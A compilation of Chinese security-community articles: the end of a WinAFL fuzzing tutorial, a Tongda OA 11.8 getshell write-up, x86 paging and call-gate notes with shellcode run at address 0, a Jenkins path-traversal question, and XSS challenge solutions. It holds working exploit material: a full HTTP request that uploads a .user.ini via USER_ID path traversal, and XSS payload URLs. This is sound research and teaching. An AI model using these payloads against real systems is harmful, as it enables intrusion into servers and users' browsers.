文件中给出了目标程序执行过程中所加载的模块，同时，必须保证运行结果为“Everything appears to be running
normally.”：
C:\temp\DynamoRIO\bin32\drrun.exe -c winafl.dll -debug -target_module test.exe -target_offset 0x1090 -fuzz_iterations 10 -nargs 2 -- test.exe in\input.bmp
然后，我们就可以输入如下的命令进行 fuzzing 了，其中 “@@” 表示待 fuzzing 的测试用例文件在 in 目录下：
afl-fuzz.exe -i in -o out -D C:\temp\DynamoRIO\bin32 -t 20000 -- -coverage_module gdiplus.dll -coverage_module WindowsCodecs.dll -fuzz_iterations 5000 -target_module test.exe -target_method main -nargs 2 -- test.exe @@
但上述命令参数中并没有出现 DynamoRIO 插件 winafl.dll ，事实上此命令执行后又创建了新的子进程，如下图：
图14 afl-fuzz进程树
我们可以得到 drrun.exe 执行的命令参数如下：
C:\temp\DynamoRIO\bin32\drrun.exe -pidfile childpid_95fa18fc9031bf0d.txt -no_follow_children -c winafl.dll -coverage_module gdiplus.dll -coverage_module WindowsCodecs.dll -fuzz_iterations 5000 -target_module test.exe -target_method main -nargs 2 -fuzzer_id 95fa18fc9031bf0d -- test.exe out\.cur_input
如果没问题的话，那么我们会看到如下的 fuzzing 界面，至于 WinAFL 的编译以及其它参数设置可参考 `README` 文件：
图15
WinAFL执行时的界面
fuzzing 中各阶段的结果都将保存在 `-o` 选项设置的 out 目录中，其中 crash 或 hangs 目录保存着导致 bug
的测试用例文件，至于目标程序是否存在可利用的漏洞则需要进一步的确认：
图16
保存fuzzing结果的目录
#### 4 结语
本文大体介绍了 WinAFL 这个 fuzzing
工具，但实际应用起来还是有很多方面需要考虑的。另外，笔者目前还是初学，错误之处还望各位斧正，欢迎一起交流:P
#### 5 参考
[1] [A fork of AFL for fuzzing Windows
binaries](https://github.com/ivanfratric/winafl)
[2] [Dynamic Instrumentation Tool
Platform](https://github.com/DynamoRIO/dynamorio)
[3] [American fuzzy lop](http://lcamtuf.coredump.cx/afl/)
[4] [Real World
Fuzzing](http://pages.cs.wisc.edu/~rist/642-fall-2011/toorcon.pdf)
[5] [Code
Coverage](https://isis.poly.edu/pa/Week%2009%20-%20Code%20Coverage/09%20Code_Coverage_Program_Analysis.pdf)
[6] [Effective file format
fuzzing](https://www.blackhat.com/docs/eu-16/materials/eu-16-Jurczyk-Effective-File-Format-Fuzzing-Thoughts-Techniques-And-Results.pdf)
* * * | 社区文章 |
**作者：LoRexxar'@知道创宇404实验室
日期：2021年3月9日**
前篇：[通达OA代码审计篇 - 11.7
有条件的任意命令执行](https://lorexxar.cn/2021/03/03/tongda11-7rce/)
前篇中提到的漏洞在11.8版本中被完全修复后，我痛定思痛，从头开始找一个新的漏洞，于是就有了今天这个漏洞的诞生，但没想到的是，在保留到2021年初时，1月11号更新的11.9版本中再次被定向修复。
今天我们也来看看这一次的漏洞逻辑~
# 在绕过之前
在提到漏洞之前，首先我们需要清楚通达OA的几个关键机制。
首先是通用文件，整个OA的大部分文件都会引用`inc/utility*`多个文件，里面涉及到了所有OA的通用函数以及一些全局处理、配置文件等。
除了关注到一些过滤函数以外，还有一个比较重要的是在`inc/common.inc.php`的全局处理，并将全局变量对应赋值给对应变量名。
而这个文件被多个基础文件引用，所以我们就有了一个自带的全局变量覆盖，但是是经过过滤的。
可以明确的是，这个问题作为顽疾深深埋在了通达OA的深处，11.7以后的漏洞也大多都是因为这个原因造成的。
除了这个以外，在前一篇文章我提到过，通达OA关于文件上传相关的配置非常完善。首先是建了attachment作为附件目录，正常的文件上传都会传到这里。
location /attachment {
deny all;
}
除此之外，上传函数还有3个限制条件：
1、不能没有.
2、不能.之后为空
3、.之后3个字符不能是PHP
且通达本身不解析特殊后缀如pht,phtml等...
换言之，也就是如果一切文件上传都建立在通达OA本身的逻辑上，我们一定没办法只靠文件上传一个漏洞来getshell，在前篇中，我利用了一个文件包含来引用上传的文件。但是在11.8中这个漏洞被修复了，我们就需要找别的办法。
这里我们绕过的思路主要有几个：
1、文件包含+文件上传；
可惜，11.8开始，所有涉及到文件包含的接口都做了详细的限制，这样的接口本来也没有几个。
2、文件改名+跨目录文件上传；
3、上传一个特殊的配置文件，比如.user.ini；
建立在这样的思路基础上，我们挖掘了今天这个漏洞。
# 后台Getshell
这里我们找到
/general/hr/manage/staff_info/update.php line 28
根据前面的基础，可以清楚这里USERID可控，然后刚好USERID被拼接进去，熟悉的漏洞诞生了，通过设置USERID为`../../../`，我们可以将文件上传到任意位置。
但同样的问题还是存在，我们没办法上传PHP文件，而且比起11.7，这里的上传限制也有一定的改变。添加了一个新的限制
function td_path_valid($source, $func_name)
{
$source_arr = pathinfo($source);
$source = realpath($source_arr["dirname"]);
$basename = strtolower($source_arr["basename"]);
if ($source === false) {
return false;
}
if ($func_name == "td_fopen") {
$whitelist = "qqwry.dat,tech.dat,tech_cloud.dat,tech_neucloud.dat,";
if ((strpos($source, "webroot\inc") !== false) && find_id($whitelist, $basename)) {
return true;
}
}
if ((strpos($source, "webroot") !== false) && (strpos($source, "attachment") === false)) {
return false;
}
else {
return true;
}
}
这里多了一条限制`if ((strpos($source, "webroot") !== false) && (strpos($source,
"attachment") === false))`.
我们需要找到一个同时满足webroot和attachment的目录即可，这里我们选用了
webroot\general\reportshop\workshop\report\attachment-remark
这里我们构造文件向
/general/hr/manage/staff_info/update.php?USER_ID=../../general\reportshop\workshop\report\attachment-remark/1
上传t.txt，这里就会成功写入一个1.txt文件。
在这个基础上，我们通过上传.user.ini来修改当前目录的配置。
具体原理可以参考<https://www.leavesongs.com/PENETRATION/php-user-ini-backdoor.html>
POST /general/hr/manage/staff_info/update.php?USER_ID=../../general\reportshop\workshop\report\attachment-remark/.user HTTP/1.1
Host: localhost:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------17518323986548992951984057104
Content-Length: 367
Connection: close
Cookie: PHPSESSID=76vrueivunkeingvpcv7cs4uu3; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=a4c45fc7; KEY_RANDOMDATA=7645
Upgrade-Insecure-Requests: 1
-----------------------------17518323986548992951984057104
Content-Disposition: form-data; name="ATTACHMENT"; filename="ttttttt.ini"
Content-Type: text/plain
auto_prepend_file=1.log
-----------------------------17518323986548992951984057104
Content-Disposition: form-data; name="submit"
提交
-----------------------------17518323986548992951984057104--
上传成功之后，上传1.log在目录下，然后请求该路径下任意php文件即可
值得注意的是，修改.user.ini并不是即时生效的，一般来说等待一会儿即可。
比较有意思的修复逻辑也很针对
直接对userid做了过滤。
# 漏洞证明
# 写在最后
这个漏洞是在前篇文章被修复之后挖掘的，可以算是相对比较隐蔽的漏洞吧，可惜没想到在手里还没过3个月就又被修复了，其实这个漏洞还是有配合的前台绕过方式的，但是由于时期特殊就不公开了，比较可惜的是在11.9中这些漏洞都被修复了。不得不说这几个版本通达的代码风格变化很大，虽然还是免不了挖东墙补西墙的感觉，但一些比较致命的问题都做了限制，后续如果还想挖通达的漏洞就比较难了，希望还能有更好的思路公开出来吧~
* * * | 社区文章 |
# 深耕保护模式（四）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 页
X86模式下存在10-10-12分页和2-9-9-12分页。
## 10-10-12分页
在x86系统下，总说一个进程有4GB空间，那么按照这个说法来说，在windows上起一个进程就要占用4GB空间，两个进程就要占用8GB空间，但是实际上是我们电脑的物理内存往往只有8GB，16GB多一点的可能有32GB，我们却启动了几十个进程，这显然是矛盾的。
实际上，我们所说的进程有4GB内存空间，这个概念是虚拟的。cpu会经过一定算法从虚拟内存地址找到物理内存地址。
这里还有几个概念：线性地址、有效地址、物理地址
如下指令：
MOV eax,dword ptr ds:[0x12345678]
其中,0x12345678 是有效地址
ds.Base + 0x12345678 是线性地址
物理地址就是真正在内存条上的地址，不是虚拟出来的。
每个进程都有一个CR3,(准确的说是都一个CR3的值，CR3本身是个寄存器，一个核，只有一套寄存器)
CR3指向一个物理页，一共4096字节,从CR3到物理页的过程如图：
下面在10-10-12分页模式下从线性地址找到物理地址。要想当前xp系统是10-10-12分页，需要修改boot.ini文件。
将noexecute 改成 execute。
写入一句话到记事本，并通过CE找到他的线性地址。
采用10-10-12分页方式拆解这个线性地址。(十位，十位和十二位)
拆完以后CPU首先去找CR3寄存器，CR3寄存器是一个唯一存储物理地址的寄存器，CR3中存了一个值，这个值指向一个物理页，这个也有4096个字节，也就是他的第一级，第一部分分的高十位就是确定这个地址在第一级的哪个位置，第二个十位就是确定在第二级的哪个位置，最后12位就是确定在4096个字节的物理页的v哪个地址，4096
= 2 ^ 12;第一级中每个成员是4个字节，4096个字节可以存放1024 = 2 ^ 10个地址，同样第二级也是一样。
通过windbg获取notepad的cr3。
这里还得计算几个偏移。前面两个都是目录，由于一个是4个字节所以需要乘以4。
在!dd表示查看物理地址。这里第一层是0
kd> !dd 15d45000+0
第一级找到了，要去掉最后三位，这三位是属性。
kd> !dd 15bad000+2A8
第三级一样的。使用!db一个字节一个字节的查看。
kd> !dd 15ba8000+A40
kd> !db 15ba8a40
物理地址就已经找到了。
在白皮书描述中整个过程如下（线性地址到物理地址）：
## PDE和PTE
Cr3寄存器起到了不可或缺的作用。那Cr3寄存器中存储的究竟是什么呢？
Cr3寄存器不同于其他寄存器，在所有的寄存器中，只有Cr3寄存器存储的地址是 **物理地址** ，其他寄存器存储的都是 **线性地址** 。
Cr3寄存器所存储的物理地址指向了一个 **页目录表（Page-Directory Table，PDT）**
，也就是我们前面所说的查找时的第一级。在Windows中，一个页的大小通常为4KB(有4MB的)，即一个页（页目录表）可以存储1024个页目录表项（PDE）。
而第二级为页表(PTT)， 每个页表的大小为4KB，即一个页表可以存储1024个页表项（PTE）。
这种设计方式正是10-10-12分页的由来，由于前面两级是四个字节一组，那么索引为2的10次方就可以获取到每一项(整个是4096字节)，也就是10位；而最后一级物理页，一个字节一组，所以需要4096组，索引也要指到4096，也就是2的12次方，正好12位。
上面说到10-10-12分页还有一个大页（4MB）,实际上是没有页表(PTT)这一级，也就是PDE直接去索引物理页，那么就是2^10*2^12，正好是4MB。
页表项（PTE）具有以下特征：
1. PTE可以指向一个物理页，也可以不指向物理页
2. 多个PTE可以指向同一个物理页
3. 一个PTE只能指向一个物理页
## 实验
我们都知道地址0是绝对不能写入的，如果写入回报0xC0000005错误，那么是什么原因不能写入呢？他的本质实际上就是0地址没有对应的物理页，也就是上面所说的“PTE可以指向一个物理页，也可以不指向物理页”，0地址实际上就没有对应的物理页。
那么我们可以自己将线性地址0的PTE挂载到物理页上，这样就可以读写了。运行这样一段代码：
#include "stdafx.h"
int main(int argc, char* argv[])
{
int x = 1;
printf("x的地址:%x\n",&x);
*(int*)0 = 123;
printf("0地址数据:%d\n",*(int*)0);
return 0;
}
我们要做的就是将线性地址0的物理页挂载到局部变量x的物理页，让两个PTE指向的是同一个物理页。
还是先找到当前进程的cr3。
获取x的线性地址：0x0012ff7c，并对其经行分解。
然后找到其对应的物理地址
kd> !dd 1a9e9000 + 0
kd> !dd 1a9b4000 + 4BC
kd> !db 1a790000 + f7c
让线性地址0的PTE指向同一块物理地址。
如果线性地址为0，那么他就没有PTE，所以这里要写一个PTE。
kd> !dd 1a9b4000
由于二级偏移也是0，那么这里就把二级偏移直接写成物理页的首地址。也就是1a790067。
kd> !ed 1a9b4000 1a790067
回到程序重新执行，在线性地址0的位置已经写入了123。
此时用图形化表示为：
## PDE&PTE属性
PDE和PTE的低12位实际上是表明属性，这个在之前的练习中已经了解过了。
### 物理页的属性
物理页的属性 = PDE属性 & PTE属性
P位和段的P位是一样的，表示当前PDE或者PTE是否有效，所以PDE与PTE的P位 P=1 才是有效的物理页。
#### R/W属性
R/W位表示是否是可读可写的。R/W = 0 只读，R/W = 1 可读可写，只有当PDE和PTE的R/W位都为1的时候，该物理页才是可读可写的。
观察下面一段代码：
#include "stdafx.h"
#include <windows.h>
int main(int argc, char* argv[])
{
char* str = "Hello World";
printf("线性地址:%x\n",str);
getchar();
DWORD dwVal = (DWORD)str;
*(char*)dwVal = 'M';
printf("%s",str);
return 0;
}
直接执行是会报错的，因为str指向的是常量区中的一个字符串，这是不可以写的，但是如果我们更改物理页对应的PDE和PTE的R/W属性，则可以成功改写。
直接执行Access Violation。
拆分线性地址：
通过Cr3找到PTE，发现最后12位属性中R/W位为0。(属性为025)
那么这里就需要让R/W位为1，属性变为027。
!ed 30b4088 19c48027
代码能够顺利执行，字符串成功被修改。
#### U/S属性
* U/S = 0 特权用户
* U/S = 1 普通用户
特权用户也就意味着只有高权限才能访问，普通用户普通权限即可访问。
观察这样一段代码，直接访问肯定是失败。
int main(int argc, char* argv[])
{
PDWORD p = (PDWORD)0x8003F00C;
getchar();
printf("高2G地址：%x\n",*p);
return 0;
}
我们三环程序是无法直接访问高两G内存空间的，这里可以用之前的调用门提权访问，也可以通过修改页属性来访问。
这里具体细节和上面修改R/W差不多。
可以发现这个地址的PDE和PTE的U/S位都是0。
kd> !ed 1d50a800 0003b167
kd> !ed 3b0fc 0003f167
> 这里一不小心把程序放过去了，直接结束了没截图，并没有报错，也就不重新做这个实验了。
#### P/S位
只对PDE有意义，PS == PageSize的意思 当PS==1的时候 PDE直接指向
物理页 无PTE,低22位是页内偏移。
线性地址只能拆成2段：大小为4MB 俗称“大页”
#### A 位
是否被访问（读或者写）过 访问过置1 即使只访问一个字节也会导致PDE PTE置1
#### D 位
脏位 是否被写过 0没有被写过 1被写过
### 页目录表(PDE)基址
如果系统要保证某个线性地址是有效的，那么必须为其填充正确的PDE与PTE，如果我们想填充PDE与PTE那么必须能够访问PDT与PTT。那么存在2个问题：
1、一定已经有“人”为我们访问PDT与PTT挂好了PDE与PTE,我们只有找到这个线性地址就可以了。
2、这个为我们挂好PDE与PTE的“人”是谁？
结论就是有一个特殊的地址：0xC0300000。存储的值就是PDT。
获取cr3
kd> !dd 131fb000 + c00
kd> !dd 131fb000 + c00
kd> !dd 131fb000
可以看到通过这个线性地址实际上是重新解析了cr3寄存器。
也就是说，以后不需要Cr3，只需在当前程序内，通过C0300000这个线性地址就可以得到当前程序PDT的首地址了。
那么PDT的首地址可以找到，PTT的首地址呢？
### 页表(PTT)基址
还是有个特殊的线性地址：0xC0000000
获取debugview的线性地址。
这个线性地址对应的就是PDT表，而PDE表中第一个地址为第一张PTT表。
kd> !dd 18ae9000
kd> !dd 0bc7a000
PDT表中第二个地址为第二张PTT表。
kd> !dd 18ae9000
kd> !dd 194b9000
然后我们拆分c0000000地址。
kd> !dd 18ae9000 + c00
kd> !dd 18ae9000
kd> !dd 0bc7a000
可以看到0xc0000000对应的物理地址就是第一张PTT表。
再拆分c0001000地址。
kd> !dd 18ae9000 + c00
kd> !dd 18ae9000 + 4
kd> !dd 0bc7a000
0xc0001000对应的物理地址就是第二张PTT表。
所以实际上的对应关系应该如下图所示：
根本就不存在什么PDT表，PDT表知识PTT表中的一个特殊的部分。
**掌握了0xC0001000和0xC0300000，就掌握了一个进程所有的物理内存读写权限。**
PDI和PTI分别指的是再PDT表和PTT表中的索引。
访问页目录表（PDT）的公式：
0xC0300000 + PDI*4
访问页表（PTT）公式：
0xC0000000 + PDI*4096 + PTI*4
总结：
1、页表被映射到了从0xC0000000到0xC03FFFFF的4M地址空间。
2、在这1024个表中有一张特殊的表：页目录表。
3、页目录被映射到了0xC0300000开始处的4K地址空间。
### 写入shellcode到0地址执行
这里直接看注释，要自己捋一下。
// CallGate0Address.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
char buf[] = {0x6a,0x00,0x6a,0,0x6a,0,0x6a,0,0xE8,0,0,0,0,0xc3};
__declspec(naked) void callGate()
{
_asm
{
push 0x30;
pop fs;
pushad;
pushfd;
lea eax,buf;
mov ebx,dword ptr ds:[0xc0300000];
//当0xc0300000位置上的值是0时，表明地址0对应的PDE没有挂上，跳转代码为挂上buf对应的物理页。
//不是0挂PTE就行了
test ebx,ebx;
je __gPDE;
shr eax,12;
and eax,0xfffff;
shl eax,2;
add eax, 0xc0000000;
mov eax,[eax];
mov dword ptr ds:[0xc0000000],eax;
jmp __retR;
__gPDE:
//获取前10位偏移
shr eax,22;
and eax,0x3ff;
//乘以4
shl eax,2;
//将buf对应的PDE挂到0地址
add eax, 0xc0300000;
mov eax,[eax];
mov dword ptr ds:[0xc0300000],eax;
__retR:
popfd;
popad;
retf;
}
}
int main(int argc, char* argv[])
{
unsigned int functionAddress = (unsigned int)MessageBox;
//获取在物理页上的偏移，后12位。
int offset1 = ((unsigned int)buf) & 0xfff;
*((unsigned int*)&buf[9]) = functionAddress - (13 + offset1);
char segmentGate[] = {0,0,0,0,0x48,0};
printf("MessageBox:%x callGate:%x buf:%x\n",MessageBox,callGate,buf);
system("pause");
_asm
{
call fword ptr segmentGate;
push 0x3b;
pop fs;
mov eax,offset1;
call eax;
}
return 0;
}
添加调用门：
kd> eq 8003f048 0040ec00`0008100a
## 后记
下一节进入2-9-9-12分页。 | 社区文章 |
用了官方的docker，在linux上测试。 以及在windows上测试。。都没复现。。
请问哪里有坑么。。
~ > curl 'http://192.168.1.51:8080/plugin/credentials/.ini' -H 'Accept-Language: ../../../../../../../../../../windows/win' -H 'Cookie: JSESSIONID.a3d85595=node01v1c3z2oeevt5mucfmjq8er3e1.node0; screenResolution=1920x1080; JSESSIONID.b2a47fc0=node02xwyedhvismk1ilmk23ziw4010.node0; JSESSIONID.4d57c7d3=node0kheawubrizfx1s6peq1c05uwu0.node0' -v
* Trying 192.168.1.51...
* Connected to 192.168.1.51 (192.168.1.51) port 8080 (#0)
> GET /plugin/credentials/.ini HTTP/1.1
> Host: 192.168.1.51:8080
> User-Agent: curl/7.43.0
> Accept: */*
> Accept-Language: ../../../../../../../../../../windows/win
> Cookie: JSESSIONID.a3d85595=node01v1c3z2oeevt5mucfmjq8er3e1.node0; screenResolution=1920x1080; JSESSIONID.b2a47fc0=node02xwyedhvismk1ilmk23ziw4010.node0; JSESSIONID.4d57c7d3=node0kheawubrizfx1s6peq1c05uwu0.node0
>
< HTTP/1.1 403 Forbidden
< Date: Wed, 25 Jul 2018 13:30:59 GMT
< X-Content-Type-Options: nosniff
< Content-Type: text/html;charset=utf-8
< X-Hudson: 1.395
< X-Jenkins: 2.132
< X-Jenkins-Session: 3a9c067d
< X-You-Are-Authenticated-As: anonymous
< X-You-Are-In-Group-Disabled: JENKINS-39402: use -Dhudson.security.AccessDeniedException2.REPORT_GROUP_HEADERS=true or use /whoAmI to diagnose
< X-Required-Permission: hudson.model.Hudson.Read
< X-Permission-Implied-By: hudson.security.Permission.GenericRead
< X-Permission-Implied-By: hudson.model.Hudson.Administer
< Content-Length: 853
< Server: Jetty(9.4.z-SNAPSHOT)
<
<html><head><meta http-equiv='refresh' content='1;url=/login?from=%2Fplugin%2Fcredentials%2F.ini'/><script>window.location.replace('/login?from=%2Fplugin%2Fcredentials%2F.ini');</script></head><body style='background-color:white; color:white;'>
Authentication required
<!-- You are authenticated as: anonymous
Groups that you are in:
Permission you need to have (but didn't): hudson.model.Hudson.Read
... which is implied by: hudson.security.Permission.GenericRead
... which is implied by: hudson.model.Hudson.Administer
-->
* Connection #0 to host 192.168.1.51 left intact
</body></html> | 社区文章 |
前面分享了《一些BAT的XSS实例（一）
基础篇》、《一些BAT的XSS实例（二）进阶篇》和《一些BAT的XSS实例（三）中级篇》，主要详细的讲了下1~5题以及7~8题的思路，错过的朋友可以点击上面链接，去查看相应的文章，下面我们来看下其他的题。
背 景
我选了些N年前的BAT的XSS实例来聊聊构造和绕过思路。（这些实例，都是已经公开并且修补完毕的，这里只是以此为原型，并做了一定的修改，进行了一些XSS题目的设计而已。）
先一次性把16道题发出来（弹框1就算成功，大部分的题都是一题多解，尽量给出多种思路，或者最短的解法。）
<http://px1624.sinaapp.com/test/xsstest1/>
（其他题目，将xsstest1依次改为xsstest2~xsstest16即可获取）
有兴趣的朋友，可以先不看文章，自己尝试的做一做题目，有答案的话可以发到我的邮箱[email protected]
并附上自己的ID，说不定下篇文章里面就会有你的绕过思路被收录。
正 文
◇ 1 先看看第九题
看到源码如下图，通过源码变量命名，猜的得到了参数为px，然后看到源码如下
和第八题比较像，测试发现区别貌似就是，这里对双引号的过滤方式进行了改变，而且对2处html位置的输出点都做了html编码，并且同步限制了长度。所以想用第八题的方法直接写入标签，基本上是不可能的了。由于这里的特殊字符大多数都被反斜杠转义了，所以注释也就用不了了，想用第四题的方法也就不行了。那么这个应该怎么去解呢？
通过上面的分析可以发现，想要直接在js或者html中构造都是不太可能的，所以还是要用到前面提到的`<!--<script>`的这个特性，来跳出script标签的限制。这点其实和第七题还是蛮像的，但是第七题是js中一处输出，html中一处输出，这个题两个位置都是2个输出，而且是属于同步的输出。所以看着差不多，但是在构造难度上，确是有着几何倍数的差别。
前面友情提示过：后面的逻辑相对较复杂，在解第九题的时候，建议安装个Visual Studio Code方便调试。
首先看到2处js输出点，我们肯定是先按照第四题的思路去试试
http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-`222
大概就是上面这个思路，用模板字符串，然后去变形下，如下。
http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-`;alert(1)//
如上图可以看到，直接这样肯定是不行的，因为注释符号的/被转义了，所以最后面的单引号肯定是处理不掉的，所以还是要先跳出script标签。这个我们前面讲过方法，利用`<!--<script>`
的解析特性，可以成功调处script标签的限制，所以我们先试着像下面这样，去构造调试下。
http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-`222%3C!--%3Cscript%20%3E
这样直接去看源码，是很不明显的，所以我们将代码放到Visual Studio Code编辑器（简称vscode）里面进行调试和说明，后面的操作都会如此进行。
可以看到这样构造了的话，由于是同步输出，又不能直接去进行代码注释，所以上图箭头所指的这个位置还是会出问题。后面的部分没法处理，导致语法出错，那么怎么解决这个问题呢？我们尝试下再去构造一个模版字符串，然后去进行连接闭合下。这里直接给出构造payload的源码链接，如下：
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-`222%3C!--%3Cscript%20%3E`-`aa
然后测试后发现，貌似并没有起到什么作用，还是会出现一样的问题，上图箭头的这个位置的语法还是会出错。这么看这个思路构造的话，无论如何都会出现这个问题，所以必须进行一个嵌套。那么如何进行模板字符串的嵌套呢，一般对字符串的嵌套都是内部的符号用了转义或者编码，但是这里明显这个思路是不行的，所以这里其实是需要用到js中的嵌套模板写法。
这个知识点，由于篇幅问题，这里就不再做详细的说明了，具体资料可以参考这里，对嵌套模板做了详细的解释说明。
<https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/template_strings>
所以我们想到去这么去构造
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-`222%3C!--%3Cscript%20%3E`-`aa${`44`}`
当然这么写肯定是不行的，这样连第一行的那个最后面单引号的限制都过不了。
所以要把后面的这部分内容拆开写，从而去完成语法上的闭合，经过调试，发现把大括号放到下面这个位置比较合适。
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-`}222%3C!--%3Cscript%20%3E`-`${`4
看样子貌似已经成功了，只需要在上图所指的这个`` 和 } 之间写入alert`
再把后面部分注释掉就搞定了啊，但是测试发现，这个位置根本就不能写入任何内容，因为会破坏上面模版的语法结构，而导致出错。
所以这个构造思路看来是行不通的，所以重新回到这一步，重新考虑构造思路。
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-`222%3C!--%3Cscript%20%3E`-`aa${`44`}`
这里考虑到大括号同步闭合的问题，我们写入的部分也必须有大括号，不然就会出现上面的那个情况，最终的构造点不能写东西。那么就想到了function(){} 和
if(){} 以及 {a:1} 这几种，从3者的构造灵活度上来看，无疑第三种的这个对象是最合适的，所以我们这里用对象进行构造
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-`222%3C!--%3Cscript%20%3E`-{a:`aa${`44`}`}
当然这么写肯定也是不行的，原因前面提过，这里需要拆开写去闭合，经过调试，发现把大括号放到下面这个位置比较合适。
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-`222%3C!--%3Cscript%20%3E4}`}-{a:`aa${`4
但是这样构造后会发现，后面部分的js语法虽然没问题了，前面这里又多出来了一个大括号 }
出来，所以我们再去把这个大括号的问题解决掉，但是同时又要保证不会破坏现有的构造结构和思路。所以我们继续用对象，给这里的外层再加个大括号，也就是以对象的方式去构造下。对象前面部分的大括号
{ 导致的同步输出问题，我们可以不用去管，因为这部分会被放在后面的模版里面，不会影响。
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-{a:`222%3C!--%3Cscript%20%3E4}`}-{a:`aa${`4
到这里，js部分的两处输出的语法已经没问题了，但是发现后面html部分的2个输出点位置，由于长度限制的问题，语法还是会出问题。所以这里删除掉那些无用的，用来调试的字符，形成了如下的情况
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=\%27-{a:`%3C!--%3Cscript%20%3E}`}-{a:`${`
然后发现还是不行，script这部分占了太多长度的内容了，所以第一想法就是把`<!--<script >`
这部分整体放到后面去。
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=\%27-{a:`}`}-{a:`${`%3C!--%3Cscript%20%3E
到这一步貌似已经搞定了，只需要把后面注释掉，语法正确就OK了，所以我们想办法去往里面放个alert(1)进去。
第一反应肯定是想着加到运算符位置，但是这样是肯定不行的，因为 / 被转义了，所以上面js部分的语法会直接错误。如下
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=\%27-{a:`}`}-alert(1)//{a:`${`%3C!--%3Cscript%20%3E
而且最后面的alert(1)后面由于长度限制问题，注释符也会被干掉一个 /
而导致注释失败，所以这样肯定是不行的，这时候我们要巧妙的去利用这个长度限制。让长度限制去把后面的那层 `} 干掉。
如上图情况，把后面的部分干掉后，这样的语意就会发生了变化，大括号对应的闭合也会进行重新的对应。按照这个思路，所以这个alert(1)应该写到下面的这个位置。
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=\%27-{a:`}-alert(1)//`}-{a:`${`%3C!--%3Cscript%20%3E
这时候应该已经可以弹窗了，测试后发现这里后面会多了个模版字符串，导致了模板字符串的提前闭合，所以需要给前面加一位字符串用来“占位”。
view-source:http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-{a:`}-alert(1)//`}-{a:`${`%3C!--%3Cscript%20%3E
可以看到，语法一切OK，这时候去试试会不会正常弹窗。
http://px1624.sinaapp.com/test/xsstest9/?px=1\%27-{a:`}-alert(1)//`}-{a:`${`%3C!--%3Cscript%20%3E
◇ 2 再来看看第十题
看着好像和第九题差不多，也是4处输出，js中的过滤规则是一样的，不同的是html中第一处的输出将字符限制的只有2个了，第二处没有限制长度。这样的话，即使知道了上面的构造思路，但是在构造上整体还是比第九题要难一些，因为毕竟2个字符长度能做的事情还是比较有限的。
我们直接把第九题的payload套在第十题去调试，因为前面的js部分是一样的，这样可以直接避免掉前面两处js输出部分的语法问题。
view-source:http://px1624.sinaapp.com/test/xsstest10/?px=1\%27-{a:`}-alert(1)//`}-{a:`${`%3C!--%3Cscript%20%3E
如上图，发现由于第三处输出点没能写入任何有用的东西，导致后面的闭合点发生了变化，前面第九题也分析过，这种情况这个运算符的位置，是没办法写入alert的，因为会导致前面js部分的语法出错。
所以我们的构造思路，还是要想办法把第三处输出点利用起来，但是这里只有2个字符的长度，通过第九题的分析过程，那么这个点我们只能写入``}`才比较合适。
所以payload进行下改动就是，只能先把这个 ``}`放到最前面。
view-source:http://px1624.sinaapp.com/test/xsstest10/?px=`}\%27-{a:`}`}-{a:`${`%3C!--%3Cscript%20%3E
这时候会发现后面多了个``}`
出来，是不是感觉似曾相识哈？第九题也出现过类似的问题，后面多了个大括号我们嵌套了一层对象，这里是多出来了一个``}`那么闭合的话就必须用
`{``字符。这样的话，对象就不行了，因为会导致模板字符串就近闭合。前面提到过避免这种问题的方法，那就是用js中的嵌套模板${}
所以这里我们就用这个思路，再写进去个模板试试，这里直接用了2次模板的嵌套。
view-source:http://px1624.sinaapp.com/test/xsstest10/?px=`}\%27-{a:`}`}-{a:`${`${`%3C!--%3Cscript%20%3E
貌似已经成功了，只需要在这个点写入alert再注释掉后面内容就可以了，那我们去试试。
http://px1624.sinaapp.com/test/xsstest10/?px=`}\%27-{a:`}-alert(1)//`}-{a:`${`${`%3C!--%3Cscript%20%3E
◇ 3 再来看看第八题
我们再把第九题的解套用在第八题上试试。
view-source:http://px1624.sinaapp.com/test/xsstest8/?px=1\%27-{a:`}-alert(1)//`}-{a:`${`%3C!--%3Cscript%20%3E
可以看到，由于前面多了个字符，导致第三处后面的大括号被干掉了，所以把前面的那个字符去掉。
view-source:http://px1624.sinaapp.com/test/xsstest8/?px=\%27-{a:`}-alert(1)//`}-{a:`${`%3C!--%3Cscript%20%3E
貌似已经OK了？观察下发现不对，后面没script闭合标签啊。那么就给加个</script> 进去不就行了。
http://px1624.sinaapp.com/test/xsstest8/?px=\%27-{a:`}-alert(1)//%3C/script%3E`}-{a:`${`%3C!--%3Cscript%20%3E
这个解也是不受谷歌XSS filter拦截的额。
上一篇中提到过，第八题ID：gainover、Huuuuu 还都给出了另一个解法。其中ID：gainover给的原payload如下：
http://px1624.sinaapp.com/test/xsstest8/?px=\%27-{a:`}*/alert(1)/-alert(1)///*%3C/script%3E%3C!--%3Cscript%20%3E`}-{c:`${`
优化下就是
http://px1624.sinaapp.com/test/xsstest8/?px=\%27-{a:`}-alert(1)//%3C/script%3E%3C!--%3Cscript%20%3E`}-{c:`${`
